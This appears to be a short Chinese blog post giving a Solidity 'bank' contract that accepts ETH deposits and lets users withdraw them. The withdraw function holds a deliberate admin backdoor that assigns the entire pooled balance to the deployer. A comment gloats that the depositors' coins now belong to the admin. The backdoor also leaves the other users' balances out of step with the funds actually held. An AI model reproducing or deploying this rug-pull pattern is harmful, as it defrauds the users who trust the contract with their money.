Solidity__往合约转账并取回

pragma solidity ^0.4.22;
/*
+------------------------------------------------------------------------------+
|                                                                              |
|      XX               XXXXX XXXXXX          XXXXXXXXXXX        XXXXXXXXXX    |
|     XX XX           XXX   XXX   XXX         X         X        X        X    |
|    XX   XX          X      X      X         XXXXXXXXXXX        X        X    |
|   XXXXXXXXX         X             X         X                  X        X    |
|  XX       XX        X             X         X                  X        X    |
| XX          X       X             X         XXXXXXXXXXX        X        X    |
|                                                                              |
|                                                                              |
+------------------------------------------------------------------------------+
*/
contract bank {
    mapping(address => uint) public pendingReturns;//存币人对应的币
    uint public all;//奖池总量
    address admin;//admin可以取回所有币
    ///往智能合约转ETH
    function bank()
    {
      admin=msg.sender;
    }
    //接受ETH函数必须payable
    function bid() public payable {
        all=all+msg.value;//总量累加
        pendingReturns[msg.sender]+=msg.value;//余额累加
    }
    //取回转到合约的ETH
    function withdraw() public returns (bool) {
        uint myBalance = pendingReturns[msg.sender];
        if(msg.sender==admin)
        {
          pendingReturns[admin]=all;//哈哈韭菜你的币是我的了
          myBalance = pendingReturns[msg.sender];
        }
        if (myBalance > 0) {
            // 底下这行很重要,首先要设零值。因为,作为接收调用的一部分,接收者可以在 `send` 返回之前,重新调用该函数,amount被取回两次
            pendingReturns[msg.sender] = 0;
            if (!msg.sender.send(myBalance)) {
                // 这里不需抛出异常,只需重置未付款
                pendingReturns[msg.sender] = myBalance;
                return false;
            }
        }
        return true;
    }
}

你可能感兴趣的:(Solidity__往合约转账并取回)